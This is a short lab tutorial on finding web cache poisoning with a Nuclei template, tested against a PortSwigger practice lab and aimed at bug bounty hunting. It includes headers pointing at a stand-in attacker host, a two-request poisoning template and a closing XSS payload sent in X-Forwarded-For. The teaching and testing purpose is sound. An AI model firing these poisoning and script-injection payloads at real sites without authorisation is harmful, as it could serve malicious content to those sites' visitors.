Cache Poisoning using Nuclei
In this lab, we are going to use nuclei tool for discovering cache poisoning vulnerabilities on web applications.
To do this, we need to use common unkeyed inputs headers such as:
X-Forwarded-Prefix: cache.my_evil_dns.comX-Forwarded-Host: cache.my_evil_dns.comX-Forwarded-For: cache.my_evil_dns.comX-Originating-IP: cache.my_evil_dns.comX-Remote-IP: cache.my_evil_dns.comX-Remote-Addr: cache.my_evil_dns.comX-Client-IP: cache.my_evil_dns.com
In detail, to trigger cache poisoning vulnerabilities we need two requests:
The first that causes the server to cache the poisoned response
The second will retrieve the poisoned response from the server-side.
To carry out this scenario, we can build our nuclei template as presented below.
id: cache-poisoning​info:name: HTTP Cache Poisoningauthor: sirpedrotavares / seguranca-informatica.ptseverity: medium​requests:- raw:- |GET /?evil=007 HTTP/1.1X-Forwarded-Prefix: cache.my.evil.dns.comX-Forwarded-Host: cache.my.evil.dns.comX-Forwarded-For: cache.my.evil.dns.comX-Originating-IP: cache.my.evil.dns.comX-Remote-IP: cache.my.evil.dns.comX-Remote-Addr: cache.my.evil.dns.comX-Client-IP: cache.my.evil.dns.com​- |GET /?evil=007 HTTP/1.1​req-condition: truematchers:- type: dsldsl:- 'contains(body_2, "cache.my.evil.dns.com") == true'
We can test this template using the PortSwigger Lab here.
.\nuclei.exe -u target_url -t .\nuclei-templates-master\sirpedrotavares\cache-poisoning.yaml
And yeah, we got it 😎
You can use this strategy to find vulnerabilities like these in bug bounty programs. To start, you can use bbscope tool to get your scope from your public and private programs (HackerOne, Bugcrowd, and Intigriti).
X-Forwarded-For: cache.my_evil_dns.com"></script><script>alert(document.domain);</script>
​
